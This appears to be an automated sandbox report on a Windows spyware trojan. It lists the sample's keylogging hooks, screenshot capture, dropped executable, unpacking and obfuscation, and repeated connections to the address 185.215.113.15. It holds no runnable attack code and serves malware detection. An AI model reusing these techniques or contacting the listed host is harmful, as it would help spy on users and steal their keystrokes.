Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.15

Found strings which match to known social media urls

Source: mopnns.exe, 00000004.00000002.469912099.0000000002838000.00000004.00000001.sdmp

String found in binary or memory: ium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"*DivX Web Player*","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"*Facebook Video*","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"*Chrome PDF Viewer*","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"*Chrome PDF Plugin*","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"*Google Earth*","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"*Google Talk*","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"*IBM*Java*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-java

Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp

String found in binary or memory: rm9https://www.facebook.com/chat/video/videocalldownload.php equals www.facebook.com (Facebook)

Uses secure TLS version for HTTPS connections

Source: unknown	HTTPS traffic detected: 5.9.162.45:443 -> 192.168.2.6:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.9.162.45:443 -> 192.168.2.6:49769 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Contains functionality to register a low level keyboard hook

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Code function: 0_2_00409200 SetWindowsHookExW 0000000D,Function_00004BF0,00400000,00000000

0_2_00409200

Contains functionality to retrieve information about pressed keystrokes

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Code function: 0_2_0040F250 __wcsnicmp,__wcsnicmp,GetWindowThreadProcessId,AttachThreadInput,GetKeyboardLayout,GetTickCount,GetCurrentThreadId,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetGUIThreadInfo,GetWindowThreadProcessId,GetTickCount,BlockInput,GetTickCount,GetTickCount,PeekMessageW,GetTickCount,_wcschr,_wcschr,__wcsnicmp,__wcsnicmp,_wcschr,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsicoll,PostMessageW,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetTickCount,GetTickCount,PeekMessageW,GetTickCount,__wcsnicmp,__wcsnicmp,__fassign,PostMessageW,PostMessageW,PostMessageW,__itow,PostMessageW,_free,GetTickCount,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetKeyState,GetForegroundWindow,GetWindowThreadProcessId,AttachThreadInput,BlockInput,GetForegroundWindow,GetWindowThreadProcessId,

0_2_0040F250

Contains functionality to record screenshots

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Code function: 0_2_0043A490 GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,ReleaseDC,SelectObject,DeleteDC,DeleteObject,_free,GetPixel,ReleaseDC,

0_2_0043A490

Potential key logger detected (key state polling based)

Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_004013F4 GlobalUnlock,CloseClipboard,SetTimer,GetTickCount,GetTickCount,GetMessageW,GetTickCount,GetFocus,TranslateAcceleratorW,GetKeyState,GetWindowLongW,IsWindowEnabled,GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,IsDialogMessageW,ShowWindow,GetForegroundWindow,GetWindowThreadProcessId,GetClassNameW,KillTimer,DragQueryFileW,DragFinish,GetTickCount,DragFinish,DragFinish,_wcsncpy,_wcsncpy,GetTickCount,_wcsncpy,GetTickCount,IsDialogMessageW,SetCurrentDirectoryW,TranslateAcceleratorW,TranslateMessage,DispatchMessageW,		0_2_004013F4
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_0040F250 __wcsnicmp,__wcsnicmp,GetWindowThreadProcessId,AttachThreadInput,GetKeyboardLayout,GetTickCount,GetCurrentThreadId,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetGUIThreadInfo,GetWindowThreadProcessId,GetTickCount,BlockInput,GetTickCount,GetTickCount,PeekMessageW,GetTickCount,_wcschr,_wcschr,__wcsnicmp,__wcsnicmp,_wcschr,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsicoll,PostMessageW,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetTickCount,GetTickCount,PeekMessageW,GetTickCount,__wcsnicmp,__wcsnicmp,__fassign,PostMessageW,PostMessageW,PostMessageW,__itow,PostMessageW,_free,GetTickCount,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetKeyState,GetForegroundWindow,GetWindowThreadProcessId,AttachThreadInput,BlockInput,GetForegroundWindow,GetWindowThreadProcessId,		0_2_0040F250
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_0040F686 GetTickCount,GetTickCount,PeekMessageW,GetTickCount,_wcschr,_wcschr,__wcsnicmp,_free,GetKeyState,GetKeyState,GetKeyState,GetForegroundWindow,GetWindowThreadProcessId,AttachThreadInput,BlockInput,		0_2_0040F686

System Summary:

Sample or dropped binary is a compiled AutoHotkey binary

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Window found: window name: AutoHotkey

Jump to behavior

Detected potential crypto function

Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_004013F4		0_2_004013F4
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_00408140		0_2_00408140
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_004201C0		0_2_004201C0
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_0040F250		0_2_0040F250
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_00442260		0_2_00442260
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_00492262		0_2_00492262
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_0048E2B0		0_2_0048E2B0
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_004183E0		0_2_004183E0
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_00482405		0_2_00482405
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_0041C430		0_2_0041C430
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_0043A490		0_2_0043A490
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_0048949E		0_2_0048949E
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_0043F560		0_2_0043F560
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_0040C530		0_2_0040C530
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_0049D58D		0_2_0049D58D
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_00482675		0_2_00482675
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_00484620		0_2_00484620
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_004966C5		0_2_004966C5
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_004996AF		0_2_004996AF
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_0040D770		0_2_0040D770
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_00408C60		4_2_00408C60
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_0040DC11		4_2_0040DC11
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_00407C3F		4_2_00407C3F
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_00418CCC		4_2_00418CCC
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_00406CA0		4_2_00406CA0
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_004028B0		4_2_004028B0
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_0041A4BE		4_2_0041A4BE
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_00418244		4_2_00418244
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_00401650		4_2_00401650
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_00402F20		4_2_00402F20
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_004193C4		4_2_004193C4
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_00418788		4_2_00418788
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_00402F89		4_2_00402F89
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_00402B90		4_2_00402B90
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_004073A0		4_2_004073A0
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020D2B00		4_2_020D2B00
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020D7856		4_2_020D7856
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020D18A0		4_2_020D18A0
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020D3170		4_2_020D3170
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020D31D9		4_2_020D31D9
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020E89D8		4_2_020E89D8
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020DDE61		4_2_020DDE61
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020D7E8F		4_2_020D7E8F
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020D8EB0		4_2_020D8EB0
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020D6EF0		4_2_020D6EF0
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020EA70E		4_2_020EA70E
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020E8F1C		4_2_020E8F1C
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020D77C2		4_2_020D77C2
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020E8494		4_2_020E8494
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020D2DE0		4_2_020D2DE0

PE file contains strange resources

Source: VYeSXonMT1.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: VYeSXonMT1.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: mopnns.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: mopnns.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Uses 32bit PE files

Source: VYeSXonMT1.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Found potential string decryption / allocating functions

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: String function: 0040E1D8 appears 44 times
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: String function: 020DE428 appears 44 times
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: String function: 00476360 appears 38 times
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: String function: 00430370 appears 48 times
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: String function: 0048FC19 appears 174 times
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: String function: 00430620 appears 137 times

Contains functionality to communicate with device drivers

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Code function: 0_2_00440560: CreateFileW,DeviceIoControl,CloseHandle,

0_2_00440560

Sample file is different than original file name gathered from version info

Source: VYeSXonMT1.exe, 00000000.00000002.405540255.00000000004CE000.00000040.00020000.sdmp	Binary or memory string: OriginalFilename vs VYeSXonMT1.exe
Source: VYeSXonMT1.exe, 00000000.00000002.406187807.0000000003A41000.00000040.00000001.sdmp	Binary or memory string: OriginalFilename vs VYeSXonMT1.exe
Source: VYeSXonMT1.exe, 00000000.00000003.374963665.0000000003B10000.00000004.00000001.sdmp	Binary or memory string: OriginalFilename vs VYeSXonMT1.exe

PE file has an executable .text section which is very likely to contain packed code (zlib compression ratio < 0.3)

Source: VYeSXonMT1.exe	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: mopnns.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

PE file has an executable .text section and no other executable section

Source: VYeSXonMT1.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Creates files inside the user directory

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

File created: C:\Users\user\AppData\Roaming\blair

Jump to behavior

Classification label

Source: classification engine

Classification label: mal100.spre.troj.spyw.evad.winEXE@5/4@3/3

Reads ini files

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

File read: C:\Users\desktop.ini

Jump to behavior

Contains functionality for error logging

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Code function: 0_2_00431310 __wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,_memset,CreateProcessW,CloseHandle,CloseHandle,GetLastError,_memset,__wcsicoll,_wcschr,SetCurrentDirectoryW,_wcschr,_wcschr,GetFileAttributesW,_wcschr,SetCurrentDirectoryW,ShellExecuteExW,GetModuleHandleW,GetProcAddress,GetLastError,FormatMessageW,

0_2_00431310

Contains functionality to load and extract PE file embedded resources

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Code function: 0_2_004781C0 SystemParametersInfoW,LoadLibraryExW,EnumResourceNamesW,FindResourceW,LoadResource,LockResource,GetSystemMetrics,FindResourceW,LoadResource,LockResource,SizeofResource,CreateIconFromResourceEx,FreeLibrary,ExtractIconW,ExtractIconW,

0_2_004781C0

Sample is known by Antivirus

Source: VYeSXonMT1.exe

Virustotal: Detection: 50%

Reads software policies

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Spawns processes

Source: unknown	Process created: C:\Users\user\Desktop\VYeSXonMT1.exe "C:\Users\user\Desktop\VYeSXonMT1.exe"
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Process created: C:\Users\user\AppData\Roaming\blair\mopnns.exe mopnns.exe
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Process created: C:\Users\user\AppData\Roaming\blair\mopnns.exe mopnns.exe			Jump to behavior

Uses an in-process (OLE) Automation server

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{2087c2f4-2cef-4953-a8ab-66779b670495}\InProcServer32

Jump to behavior

Queries process information (via WMI, Win32_Process)

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Contains functionality to instantiate COM classes

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Code function: 0_2_00456430 CLSIDFromString,CLSIDFromProgID,CLSIDFromString,CoCreateInstance,CoCreateInstance,

0_2_00456430

Contains functionality to check free disk space

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Code function: 0_2_00440200 _wcsncpy,GetDiskFreeSpaceExW,

0_2_00440200

Parts of this applications are using the .NET runtime (Probably coded in C#)

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Contains functionality to enum processes or threads

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Code function: 0_2_004560C0 CreateToolhelp32Snapshot,Process32FirstW,__wcstoi64,Process32NextW,__wsplitpath,__wcsicoll,Process32NextW,CloseHandle,CloseHandle,CloseHandle,

0_2_004560C0

Might use command line arguments

Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Command line argument: /restart		0_2_00403D20
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Command line argument: /force		0_2_00403D20
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Command line argument: /ErrorStdOut		0_2_00403D20
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Command line argument: A_Args		0_2_00403D20
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Command line argument: A_Args		0_2_00403D20
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Command line argument: AutoHotkey		0_2_00403D20
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Command line argument: AutoHotkey		0_2_00403D20
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Command line argument: Clipboard		0_2_00403D20
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Command line argument: 08A		4_2_00413780

Reads the hosts file

Source: C:\Users\user\Desktop\VYeSXonMT1.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Uses new MSVCR Dlls

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

PE file imports many functions

Source: VYeSXonMT1.exe

Static PE information: More than 200 imports for KERNEL32.dll

PE file contains a mix of data directories often seen in goodware

Source: VYeSXonMT1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: VYeSXonMT1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: VYeSXonMT1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: VYeSXonMT1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: VYeSXonMT1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: VYeSXonMT1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

PE file contains a debug data directory

Source: VYeSXonMT1.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Binary contains paths to debug symbols

Source:	Binary string: _.pdb source: mopnns.exe, 00000004.00000002.468644721.0000000002185000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.475297379.00000000049D0000.00000004.00020000.sdmp, mopnns.exe, 00000004.00000003.402292014.000000000074A000.00000004.00000001.sdmp
Source:	Binary string: C:\xohare dolihupabimig\kaluyix\73.pdb source: VYeSXonMT1.exe
Source:	Binary string: C:\bol\voge hixolub\yebu\losevoduzih-fayipa\weginitowa\gevopit.pdb source: mopnns.exe, 00000004.00000000.396223546.0000000000438000.00000002.00020000.sdmp, mopnns.exe.0.dr
Source:	Binary string: C:\xohare dolihupabimig\kaluyix\73.pdbP source: VYeSXonMT1.exe
Source:	Binary string: 5C:\bol\voge hixolub\yebu\losevoduzih-fayipa\weginitowa\gevopit.pdb0= source: mopnns.exe, 00000004.00000000.396223546.0000000000438000.00000002.00020000.sdmp, mopnns.exe.0.dr

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Unpacked PE file: 0.2.VYeSXonMT1.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Unpacked PE file: 4.2.mopnns.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Unpacked PE file: 0.2.VYeSXonMT1.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_00494595 push ecx; ret		0_2_004945A8
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_0041C40C push cs; iretd		4_2_0041C4E2
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_00423149 push eax; ret		4_2_00423179
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_0041C50E push cs; iretd		4_2_0041C4E2
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_004231C8 push eax; ret		4_2_00423179
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_0040E21D push ecx; ret		4_2_0040E230
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_0041C6BE push ebx; ret		4_2_0041C6BF
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020A4AD0 push edi; retf		4_2_020A4AD1
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020A1B85 push FFFFFFE1h; ret		4_2_020A1B94
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020A49C3 push ecx; iretd		4_2_020A49C6
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020EC10E push ebx; ret		4_2_020EC10F
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020EBE5C push cs; iretd		4_2_020EBF32
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020EBF5E push cs; iretd		4_2_020EBF32
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Code function: 4_2_020DE46D push ecx; ret		4_2_020DE480

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

Code function: 0_2_0046A020 LoadLibraryW,GetProcAddress,FreeLibrary,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetSysColor,SendMessageW,

0_2_0046A020

Binary may include packed or encrypted code

Source: initial sample	Static PE information: section name: .text entropy: 7.81616488491
Source: initial sample	Static PE information: section name: .text entropy: 7.90234936843

Persistence and Installation Behavior:

Drops PE files

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

File created: C:\Users\user\AppData\Roaming\blair\mopnns.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_004630C0 GetWindowLongW,GetWindowLongW,GetWindowLongW,__wcsnicmp,__wcsnicmp,__wcsicoll,SetWindowPos,__wcsicoll,__wcsicoll,__wcsnicmp,__wcsicoll,__wcsicoll,__wcsicoll,EnableWindow,__wcsnicmp,__wcsnicmp,__wcsicoll,__wcsicoll,__wcsicoll,__wcsnicmp,MulDiv,MulDiv,__wcsnicmp,MulDiv,MulDiv,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcstoi64,IsWindow,SetParent,SetWindowLongW,SetParent,IsWindowVisible,IsIconic,SetWindowLongW,SetWindowLongW,SetWindowPos,InvalidateRect,		0_2_004630C0
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_0047A090 GetForegroundWindow,IsWindowVisible,IsIconic,ShowWindow,		0_2_0047A090
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_0047A1D0 GetWindowThreadProcessId,GetWindowThreadProcessId,GetForegroundWindow,IsIconic,ShowWindow,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,SetForegroundWindow,SetForegroundWindow,GetForegroundWindow,GetWindow,AttachThreadInput,AttachThreadInput,BringWindowToTop,		0_2_0047A1D0
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_00439180 GetForegroundWindow,IsWindowVisible,GetWindowThreadProcessId,IsZoomed,IsIconic,GetWindowLongW,GetModuleHandleW,GetProcAddress,		0_2_00439180
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_0046A240 SendMessageW,SendMessageW,SendMessageW,GetWindowLongW,IsWindowVisible,IsIconic,GetFocus,GetWindowRect,GetPropW,ShowWindow,GetUpdateRect,SendMessageW,GetWindowLongW,ShowWindow,EnableWindow,GetWindowRect,PtInRect,PtInRect,PtInRect,SetFocus,SendMessageW,SendMessageW,ShowWindow,SetFocus,InvalidateRect,InvalidateRect,InvalidateRect,MapWindowPoints,InvalidateRect,		0_2_0046A240
